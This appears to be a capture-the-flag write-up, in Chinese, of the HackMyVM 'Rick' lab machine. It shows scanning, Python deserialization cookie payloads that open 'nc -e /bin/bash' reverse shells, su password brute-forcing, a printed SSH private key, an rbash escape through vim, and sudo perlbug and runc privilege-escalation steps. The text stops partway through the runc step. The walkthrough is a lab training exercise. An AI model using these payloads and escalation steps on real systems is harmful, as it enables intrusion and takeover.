hmv[-_-]Rick
|
69
|
0
|
CP,WEB

1561 字
|
48 分钟

Rick

image-20240712183424922

image-20240716145039964

信息搜集

端口扫描

┌──(kali💀kali)-[~/temp/rick]
└─$ rustscan -a $IP -- -A     
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 172.20.10.3:22
Open 172.20.10.3:80
Open 172.20.10.3:5000

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc6WD+nd5ZbnlOmJHKiExjfgbFX6q+QAKK3N+lsm6vntaQ3CRgdDBf37SsO5ptEHMUZrDPGBch03b0An18k6pHwSLfz5AuCTN3W0Rtqd2iFRqkhgoVatSEoESxCwULEpsRB738QhCeAfiTgHr/s5WtdQAgEoSBS6e4k8KHRD1M+8FVHrolrvJA//cQ7VzVvCDbQ/eYWh3kUjRJj/cFzY/Jpgwu0QxNhzXmHwroAjtzd0D59f/KIxG0ULyAr9aQoQVjy7fMN7wJyZZxhLLKSSMoT7G51khfn9Bwun9peI32IwZnVJ3L87fGgsSy/KdOjJDRLsGCXJNtT+jUviHAaTWz
|   256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIh5KJU7muB4UyLIXStFY9R+LekTaOgLGzYh/sWHOO+aj7OOE8QDWgjPTSZt0uDG9+bmT3Uz8v3EY2b0QDP5X9I=
|   256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGBDJ/OjwxXNZ01JjiQXyOVhcY3z9ADXsEWJEOUMdHpd
80/tcp   open  http    syn-ack Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
5000/tcp open  http    syn-ack Werkzeug httpd 0.15.5 (Python 2.7.16)
| http-title: 500 Internal Server Error
|_Requested resource was http://172.20.10.3:5000/whoami
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

进行常规的扫一下得了，平常用上的也不多，到时候再扫

┌──(kali💀kali)-[~/temp/rick]
└─$ gobuster dir -u http://$IP -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,txt,html
/.php                 (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 10706]
/.html                (Status: 403) [Size: 276]
/manual               (Status: 301) [Size: 311] [--> http://172.20.10.3/manual/]
/javascript           (Status: 301) [Size: 315] [--> http://172.20.10.3/javascript/]
/robots.txt           (Status: 403) [Size: 276]

漏洞发现

踩点

踩点，发现默认的是默认得apache默认界面。

┌──(kali💀kali)-[~/temp/rick]
└─$ whatweb http://$IP                                                                            
http://172.20.10.3 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[172.20.10.3], Title[Apache2 Test Debian Default Page: It works]

敏感目录

没发现有啥有用的，基本上目录权限都没有。

敏感端口

看一下 5000 端口，一边扫一下，一遍手动看一下：

image-20240716145813718

点击Main page回到：

image-20240716145913892

查看源码，未发现奇怪的内容与提示，且尝试执行命令发现失败：

http://172.20.10.3:5000/id
# Not Found
# The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

尝试F12查看一下：

image-20240716150219585

发现未知base64加密后的cookie：

┌──(kali💀kali)-[~/temp/rick]
└─$ echo 'eyJweS9vYmplY3QiOiAiX19tYWluX18uVXNlciIsICJ1c2VybmFtZSI6ICJSaWNrIn0=' | base64 -d | jq
{
  "py/object": "__main__.User",
  "username": "Rick"
}

很明显是一个python的序列化，尝试搜索反序列化漏洞：

https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Python/#pickle

import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("nc -e /bin/bash 172.20.10.8 1234",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)

尝试构造一下，看看能不能执行：

┌──(kali💀kali)-[~/temp/rick]
└─$ python2 exp.py
Your Evil Token : Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL2Jhc2ggMTcyLjIwLjEwLjggMTIzNCcKcDIKdHAzClJwNAou

┌──(kali💀kali)-[~/temp/rick]
└─$ curl -b "Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL2Jhc2ggMTcyLjIwLjEwLjggMTIzNCcKcDIKdHAzClJwNAou" http://$IP:5000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/whoami">/whoami</a>.  If not click the link.
┌──(kali💀kali)-[~/temp/rick]
└─$ echo 'Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL2Jhc2ggMTcyLjIwLjEwLjggMTIzNCcKcDIKdHAzClJwNAou' | base64 -d
cposix
system
p1
(S'nc -e /bin/bash 172.20.10.8 1234'
p2
tp3
Rp4
.

发现不太得劲，换一个：https://github.com/j0lt-github/python-deserialization-attack-payload-generator

image-20240716153154864

# git clone https://github.com/j0lt-github/python-deserialization-attack-payload-generator.git
# cd python-deserialization-attack-payload-generator
# ls -la
# pip3 install -r requirements.txt
┌──(kali💀kali)-[~/temp/rick/python-deserialization-attack-payload-generator]
└─$ python3 peas.py                 
Enter RCE command :nc -e /bin/bash 172.20.10.8 1234
Enter operating system of target [linux/windows] . Default is linux :
Want to base64 encode payload ? [N/y] :y
Enter File location and name to save :./payload
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :jsonpickle
Done Saving file !!!!

┌──(kali💀kali)-[~/temp/rick/python-deserialization-attack-payload-generator]
└─$ cat payload_jspick                                
eyJweS9yZWR1Y2UiOiBbeyJweS90eXBlIjogInN1YnByb2Nlc3MuUG9wZW4ifSwgeyJweS90dXBsZSI6IFt7InB5L3R1cGxlIjogWyJuYyIsICItZSIsICIvYmluL2Jhc2giLCAiMTcyLjIwLjEwLjgiLCAiMTIzNCJdfV19XX0= 

┌──(kali💀kali)-[~/temp/rick/python-deserialization-attack-payload-generator]
└─$ echo 'eyJweS9yZWR1Y2UiOiBbeyJweS90eXBlIjogInN1YnByb2Nlc3MuUG9wZW4ifSwgeyJweS90dXBsZSI6IFt7InB5L3R1cGxlIjogWyJuYyIsICItZSIsICIvYmluL2Jhc2giLCAiMTcyLjIwLjEwLjgiLCAiMTIzNCJdfV19XX0=' | base64 -d 
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["nc", "-e", "/bin/bash", "172.20.10.8", "1234"]}]}]}

看起来很完美，尝试一下：

┌──(kali💀kali)-[~/temp/rick/python-deserialization-attack-payload-generator]
└─$ curl -b "eyJweS9yZWR1Y2UiOiBbeyJweS90eXBlIjogInN1YnByb2Nlc3MuUG9wZW4ifSwgeyJweS90dXBsZSI6IFt7InB5L3R1cGxlIjogWyJuYyIsICItZSIsICIvYmluL2Jhc2giLCAiMTcyLjIwLjEwLjgiLCAiMTIzNCJdfV19XX0=" http://$IP:5000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/whoami">/whoami</a>.  If not click the link.

发现忘了加头了：

┌──(kali💀kali)-[~/temp/rick/python-deserialization-attack-payload-generator]
└─$ curl -b "username=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL2Jhc2ggMTcyLjIwLjEwLjggMTIzNCcKcDIKdHAzClJwNAou" http://$IP:5000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

┌──(kali💀kali)-[~/temp/rick/python-deserialization-attack-payload-generator]
└─$ curl -b "username=eyJweS9yZWR1Y2UiOiBbeyJweS90eXBlIjogInN1YnByb2Nlc3MuUG9wZW4ifSwgeyJweS90dXBsZSI6IFt7InB5L3R1cGxlIjogWyJuYyIsICItZSIsICIvYmluL2Jhc2giLCAiMTcyLjIwLjEwLjgiLCAiMTIzNCJdfV19XX0=" http://$IP:5000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

第二个运行以后发现弹回来了：

image-20240716154603168

提权

信息搜集

(remote) www-data@rick:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(remote) www-data@rick:/var/www/html$ cat /etc/passwd | grep 'sh'
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rick:x:1000:1000:,,,:/home/rick:/bin/bash
morty:x:1001:1001:,,,:/home/morty:/bin/rbash
(remote) www-data@rick:/var/www/html$ cd /home/morty/
(remote) www-data@rick:/home/morty$ ls -la
total 36
drwxr-xr-x 4 morty morty 4096 Nov 24  2021 .
drwxr-xr-x 4 root  root  4096 Nov 24  2021 ..
lrwxrwxrwx 1 root  root     9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r-- 1 morty morty  220 Nov 24  2021 .bash_logout
-rw-r--r-- 1 morty morty 3526 Nov 24  2021 .bashrc
drwx------ 3 morty morty 4096 Nov 24  2021 .gnupg
-rw-r--r-- 1 rick  rick   107 Nov 24  2021 .important
-rw-r--r-- 1 morty morty  807 Nov 24  2021 .profile
drwx------ 2 morty morty 4096 Nov 24  2021 .ssh
-rw------- 1 morty morty  680 Nov 24  2021 .viminfo
(remote) www-data@rick:/home/morty$ cat .important 
-***You are completely crazy Morty to keep a password that easy! Change it before you get hacked!***-
Rick

su爆破用户morty

尝试上传字典以及爆破脚本：https://github.com/carlospolop/su-bruteforce

(remote) www-data@rick:/tmp$ ./suBF.sh -u morty
  [+] Bruteforcing morty...
^C
(remote) www-data@rick:/tmp$ ./suBF.sh -u morty -w top12000.txt 
  [+] Bruteforcing morty...
  You can login as morty using password: internet
^C

发现可以切换用户

morty
internet

perlbug 提权

(remote) www-data@rick:/tmp$ su morty
Password: 
morty@rick:/tmp$ cd ~
rbash: cd: restricted
morty@rick:/tmp$ whoami
morty
morty@rick:/tmp$ echo $SHELL
/bin/rbash
morty@rick:/tmp$ ls -la /home/morty
total 36
drwxr-xr-x 4 morty morty 4096 Nov 24  2021 .
drwxr-xr-x 4 root  root  4096 Nov 24  2021 ..
lrwxrwxrwx 1 root  root     9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r-- 1 morty morty  220 Nov 24  2021 .bash_logout
-rw-r--r-- 1 morty morty 3526 Nov 24  2021 .bashrc
drwx------ 3 morty morty 4096 Nov 24  2021 .gnupg
-rw-r--r-- 1 rick  rick   107 Nov 24  2021 .important
-rw-r--r-- 1 morty morty  807 Nov 24  2021 .profile
drwx------ 2 morty morty 4096 Nov 24  2021 .ssh
-rw------- 1 morty morty  680 Nov 24  2021 .viminfo
morty@rick:/tmp$ cat .ssh/id_rsa
cat: .ssh/id_rsa: No such file or directory
morty@rick:/tmp$ ls -la /home/morty/.ssh
total 16
drwx------ 2 morty morty 4096 Nov 24  2021 .
drwxr-xr-x 4 morty morty 4096 Nov 24  2021 ..
-rw-r--r-- 1 morty morty  397 Nov 24  2021 authorized_keys
-rw------- 1 morty morty 1823 Nov 24  2021 id_rsa
morty@rick:/tmp$ cat /home/morty/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAy7by5MzwimmC6fONkUMVjQU31ABHe1YfN2OHOGL3JCOwYZt6ya3s
+LAfEfcpE8y7Ksyi/tzoEAUfT+bIp4DS5C9KaBgoks4GHl30IcXQr4BKELsCPm5liQS0i9
oCBW/ECkKrsuwOxRqQk1QAgxJ0xh1A2LKgjGkIH0SW8fuem3oSmL3ki4tZ9wdHREx2d6BB
6cfTmOjUNlDk9/UeHvLicRPgIvAI0Y/Aod1aP56qSK+9nujZlWhGkeenRC3Eme2FpcPW6M
te0Zh32+CetgrTAZZtn/FB+vohvjPyv8U77XjqK2d71aZypBYo4qVIZVjmwYii6iwYrRrL
mfSA00mOtQAAA8hQRDPRUEQz0QAAAAdzc2gtcnNhAAABAQDLtvLkzPCKaYLp842RQxWNBT
fUAEd7Vh83Y4c4YvckI7Bhm3rJrez4sB8R9ykTzLsqzKL+3OgQBR9P5singNLkL0poGCiS
zgYeXfQhxdCvgEoQuwI+bmWJBLSL2gIFb8QKQquy7A7FGpCTVACDEnTGHUDYsqCMaQgfRJ
bx+56behKYveSLi1n3B0dETHZ3oEHpx9OY6NQ2UOT39R4e8uJxE+Ai8AjRj8Ch3Vo/nqpI
r72e6NmVaEaR56dELcSZ7YWlw9boy17RmHfb4J62CtMBlm2f8UH6+iG+M/K/xTvteOorZ3
vVpnKkFijipUhlWObBiKLqLBitGsuZ9IDTSY61AAAAAwEAAQAAAQBsyMyafAozj7aWIjZG
DRHUFaZDcsa5STswQ9jwtoCNbvWAmhuO2W8DOmHNITRxW1HTwCWGfgb6jxGyhGZAdJ2pts
tAHS6Ffrlru/ZjlpQjNBnZJ1RCbIeSDM4xJIER0CZa6FFyIXadsNrloeUIGXH8XaDEV1c+
w9PPhrwoipqfITOvI11+oWyaM5zFr/ScTeP3UCAWnXAVpEaJMRPUyzN1HWcbqlPds6iVEm
wy+nUxWDn2tkHYkXvsxg/4iK54f5mdgvobkMJe6YXlmmDTwIqxM26NCn+YcnuBSNZTpgSv
erAfSu86toGvwpVj3QN7Sd7xoPKExsKQz6nn6LCNGot9AAAAgQDNHON6hrdcZCrc7+2fhu
4ZyDX2/lzggW5eGN4Q2zX2WyVIfpYwxH9M+bMpDSVYaFcw4u38BDo6gGgptdzYvOukvkOJ
PXuH40SVJMpJGzCRr9x+O4y3A61u7SfOH+e+Qa4Z32GRt5X3iTIYDGhoTEwdDAe9mbIF60
KeXF/cF6XO/gAAAIEA8xCxeR/rXL1Rennm/jObw/Nvtv9NuA4TlMVTk5qiAikyp7iEXWOo
4Psfr9HKJ8j3xt0jaIVvMxExva+XfvfduQybBidLhf8p3Z03NwNIcKNBydakMomjN1HKxY
NV+DbeHL0X6+9Z8NuF4HVd0GjpOKe4EZ5VFLsyjs8JHoKOYLMAAACBANaOLZSvEa0DSR9b
8XP97CGjp97fEl/gyOjmha2sW4ZXdEj55j/CyZ6FdT8BsF9ygTtBFBDI5/pFkdKQNxj/Aw
TsGzDINUlZhk3iK4Mkk5/DsUU1V4fW2vUiXAb/WkLNd+frGHC/ewUC0y077ClTnOCR8OX9
hj+7nT1fqBN/qbb3AAAAD21vcnR5QHN5bWZvbm9zNAECAw==
-----END OPENSSH PRIVATE KEY-----

尝试登录上去，看看能不能转shell！

┌──(kali💀kali)-[~/temp/rick]
└─$ ssh morty@$IP -i morty -t bash                              
The authenticity of host '172.20.10.3 (172.20.10.3)' can't be established.
ED25519 key fingerprint is SHA256:ntMXt1jIeiDKNEuRMRXU6uCVo/fmwaEqmxDA5r4nwds.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.20.10.3' (ED25519) to the list of known hosts.
morty@rick:~$ echo $SHELL
/bin/rbash
morty@rick:~$ sudo -l
Matching Defaults entries for morty on rick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User morty may run the following commands on rick:
    (rick) NOPASSWD: /usr/bin/perlbug

发现提权方案：https://gtfobins.github.io/gtfobins/perlbug/

尝试执行：

morty@rick:~$ sudo -u rick /usr/bin/perlbug -s 'x x x' -r x -c x -e 'exec /bin/bash;'
This program provides an easy way to create a message reporting
a bug in the core perl distribution (along with tests or
patches) to the volunteers who maintain perl at
perlbug@perl.org.  To send a thank-you note to perl-
thanks@perl.org instead of a bug report, please run
'perlthanks'.

Please do not use /usr/bin/perlbug to send test messages, test
whether perl works, or to report bugs in perl modules from CPAN.

Suggestions for how to find help using Perl can be found at
http://perldoc.perl.org/perlcommunity.html

If your bug is about a Perl module rather than a core language
feature, please enter its name here. If it's not, just hit Enter
to skip this question.

Module: whoami
whoami is not a "core" Perl module. Please check that you
entered its name correctly. If it is correct, quit this program,
try searching for whoami on http://rt.cpan.org, and report your
issue there.

If your bug is about a Perl module rather than a core language
feature, please enter its name here. If it's not, just hit Enter
to skip this question.

Module: ^C
morty@rick:~$ echo $SHELL
/bin/rbash
morty@rick:~$ whoami;id
morty
uid=1001(morty) gid=1001(morty) groups=1001(morty)
morty@rick:~$ sudo -u rick /usr/bin/perlbug -s 'whoami' -r x -c x -e 'exec /bin/bash;'
This program provides an easy way to create a message reporting
a bug in the core perl distribution (along with tests or
patches) to the volunteers who maintain perl at
perlbug@perl.org.  To send a thank-you note to perl-
thanks@perl.org instead of a bug report, please run
'perlthanks'.

Please do not use /usr/bin/perlbug to send test messages, test
whether perl works, or to report bugs in perl modules from CPAN.

Suggestions for how to find help using Perl can be found at
http://perldoc.perl.org/perlcommunity.html

The subject you entered wasn't very descriptive. Please try again.

First of all, please provide a subject for the message.
This should be a concise description of your bug or problem
which will help the volunteers working to improve perl to
categorize and resolve the issue.  Be as specific and
descriptive as you can. A subject like "perl bug" or "perl
problem" will make it much less likely that your issue gets the
attention it deserves.

Subject: whoami

The subject you entered wasn't very descriptive. Please try again.

Subject: ^C
morty@rick:~$ whoami;id
morty
uid=1001(morty) gid=1001(morty) groups=1001(morty)

还是不阔以，尝试其他办法先获取bash，看到目录存在vim编辑的痕迹，尝试使用vim提取一下shell！

morty@rick:~$ vim -c ':!/bin/bash'

/bin/rbash: /bin/bash: restricted: cannot specify `/' in command names

shell returned 1

Press ENTER or type command to continue
morty@rick:~$ echo $SHELL
/bin/rbash

继续查找相关信息：

morty@rick:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
morty@rick:~$ printenv
SHELL=/bin/rbash
PWD=/home/morty
LOGNAME=morty
XDG_SESSION_TYPE=tty
HOME=/home/morty
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
VIMRUNTIME=/usr/share/vim/vim81
SSH_CONNECTION=172.20.10.8 38636 172.20.10.3 22
VIM=/usr/share/vim
XDG_SESSION_CLASS=user
TERM=xterm-256color
USER=morty
SHLVL=2
XDG_SESSION_ID=9
XDG_RUNTIME_DIR=/run/user/1001
SSH_CLIENT=172.20.10.8 38636 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
MAIL=/var/mail/morty
SSH_TTY=/dev/pts/1
_=/usr/bin/printenv
morty@rick:~$ ls -la /bin | grep bash
morty@rick:~$ ls -la /usr/local/bin | grep bash
morty@rick:~$ ls -la /usr/bin | grep bash
-rwxr-xr-x  1 root root     1302248 Apr 17  2019 bash
-rwxr-xr-x  1 root root        6789 Apr 17  2019 bashbug
-rwxr-xr-x  1 root root        2446 Feb 11  2019 dh_bash-completion
lrwxrwxrwx  1 root root           4 Apr 17  2019 rbash -> bash

发现这个文件路径被移到另一处环境变量上去了：

morty@rick:~$ echo $SHELL
/bin/rbash
morty@rick:~$ vim -c ':!/usr/bin/bash'

/bin/rbash: /usr/bin/bash: restricted: cannot specify `/' in command names

shell returned 1

Press ENTER or type command to continue
morty@rick:~$ echo $SHELL
/bin/rbash
morty@rick:~$ vim -c ':!bash'

morty@rick:~$ echo $SHELL
/bin/rbash

突然发现不受限制了：

morty@rick:~$ ls -la
total 36
drwxr-xr-x 4 morty morty 4096 Jul 16 03:26 .
drwxr-xr-x 4 root  root  4096 Nov 24  2021 ..
lrwxrwxrwx 1 root  root     9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r-- 1 morty morty  220 Nov 24  2021 .bash_logout
-rw-r--r-- 1 morty morty 3526 Nov 24  2021 .bashrc
drwx------ 3 morty morty 4096 Nov 24  2021 .gnupg
-rw-r--r-- 1 rick  rick   107 Nov 24  2021 .important
-rw-r--r-- 1 morty morty  807 Nov 24  2021 .profile
drwx------ 2 morty morty 4096 Nov 24  2021 .ssh
-rw------- 1 morty morty  839 Jul 16 03:26 .viminfo
morty@rick:~$ cd /
morty@rick:/$

尝试进行提权：

morty@rick:/$ sudo -u rick /usr/bin/perlbug -s 'x x x' -r x -c x -e 'exec /bin/bash;'
This program provides an easy way to create a message reporting
a bug in the core perl distribution (along with tests or
patches) to the volunteers who maintain perl at
perlbug@perl.org.  To send a thank-you note to perl-
thanks@perl.org instead of a bug report, please run
'perlthanks'.

Please do not use /usr/bin/perlbug to send test messages, test
whether perl works, or to report bugs in perl modules from CPAN.

Suggestions for how to find help using Perl can be found at
http://perldoc.perl.org/perlcommunity.html

If your bug is about a Perl module rather than a core language
feature, please enter its name here. If it's not, just hit Enter
to skip this question.

Module: 

Please pick a category from the following list:

    core docs install library utilities

Category [core]: 

Please pick a severity from the following list:

    critical high medium low wishlist none

Severity [low]: 
rick@rick:/$ whoami;id
rick
uid=1000(rick) gid=1000(rick) groups=1000(rick)

提权成功！

runc提权root

rick@rick:/$ cd ~
rick@rick:~$ ls -la
total 36
drwxr-xr-x 5 rick rick 4096 Nov 24  2021 .
drwxr-xr-x 4 root root 4096 Nov 24  2021 ..
lrwxrwxrwx 1 root root    9 Nov 24  2021 .bash_history -> /dev/null
-rw-r--r-- 1 rick rick  220 Nov 24  2021 .bash_logout
-rw-r--r-- 1 rick rick 3526 Nov 24  2021 .bashrc
drwx------ 3 rick rick 4096 Nov 24  2021 .gnupg
drwxr-xr-x 3 rick rick 4096 Nov 24  2021 .local
-rw-r--r-- 1 rick rick  807 Nov 24  2021 .profile
drwx------ 2 rick rick 4096 Nov 24  2021 .ssh
-rwx------ 1 rick rick   36 Nov 24  2021 user.txt
rick@rick:~$ cat user.txt 
a52d68b19ebca39c7b821ab1a51fef2e  -
rick@rick:~$ sudo -l
Matching Defaults entries for rick on rick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rick may run the following commands on rick:
    (ALL : ALL) NOPASSWD: /usr/sbin/runc
rick@rick:~$ file /usr/sbin/runc
/usr/sbin/runc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, Go BuildID=v9KnpAr_z7Yq7ynp0kxy/Z0y3KsZB_zHn9j5Rprf6/2kcKjaL8lQCM6nVR8R7u/TV1B2Vmmo5gHdzqOJJ9i, BuildID[sha1]=8e109adbf7464ff1d68ad77a562737048d1a72fc, stripped
rick@rick:~$ /usr/sbin/runc
NAME:
   runc - Open Container Initiative runtime

runc is a command line client for running applications packaged according to
the Open Container Initiative (OCI) format and is a compliant implementation of the
Open Container Initiative specification.

runc integrates well with existing process supervisors to provide a production
container runtime environment for applications. It can be used with your
existing process monitoring tools and the container will be spawned as a
direct child of the process supervisor.

Containers are configured using bundles. A bundle for a container is a directory
that includes a specification file named "config.json" and a root filesystem.
The root filesystem contains the contents of the container.

To start a new instance of a container:

    # runc run [ -b bundle ] <container-id>

Where "<container-id>" is your name for the instance of the container that you
are starting. The name you provide for the container instance must be unique on
your host. Providing the bundle directory using "-b" is optional. The default
value for "bundle" is the current directory.

USAGE:
   runc [global options] command [command options] [arguments...]

VERSION:
   1.0.0~rc6+dfsg1
commit: 1.0.0~rc6+dfsg1-3
spec: 1.0.1

COMMANDS:
     checkpoint  checkpoint a running container
     create      create a container
     delete      delete any resources held by the container often used with detached container
     events      display container events such as OOM notifications, cpu, memory, and IO usage statistics
     exec        execute new process inside the container
     init        initialize the namespaces and launch the process (do not call it outside of runc)
     kill        kill sends the specified signal (default: SIGTERM) to the container's init process
     list        lists containers started by runc with the given root
     pause       pause suspends all processes inside the container
     ps          ps displays the processes running inside a container
     restore     restore a container from a previous checkpoint
     resume      resumes all processes that have been previously paused
     run         create and run a container
     spec        create a new specification file
     start       executes the user defined process in a created container
     state       output the state of a container
     update      update container resource constraints
     help, h     Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug             enable debug output for logging
   --log value         set the log file path where internal debug information is written (default: "/dev/null")
   --log-format value  set the format used by logs ('text' (default), or 'json') (default: "text")
   --root value        root directory for storage of container state (this should be located in tmpfs) (default: "/run/runc")
   --criu value        path to the criu binary used for checkpoint and restore (default: "criu")
   --systemd-cgroup    enable systemd cgroup support, expects cgroupsPath to be of form "slice:prefix:name" for e.g. "system.slice:runc:434234"
   --rootless value    ignore cgroup permission errors ('true', 'false', or 'auto') (default: "auto")
   --help, -h          show help
   --version, -v       print the version

找一下漏洞，发现：https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation

image-20240716170114432

看一下：

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

尝试进行提权，将代码插入config.json，将指定代码段插入mount下一个位置：

rick@rick:/tmp$ diff config.json /home/rick/config.json 
65,74d64
<     "type": "bind",
<     "source": "/",
<     "destination": "/",
<     "options": [
<         "rbind",
<         "rw",
<         "rprivate"
<     ]
< },
<               {
188c178
< }
---
> }

尝试进行提权：

rick@rick:/tmp$ mkdir rootfs
rick@rick:/tmp$ sudo -l
Matching Defaults entries for rick on rick:
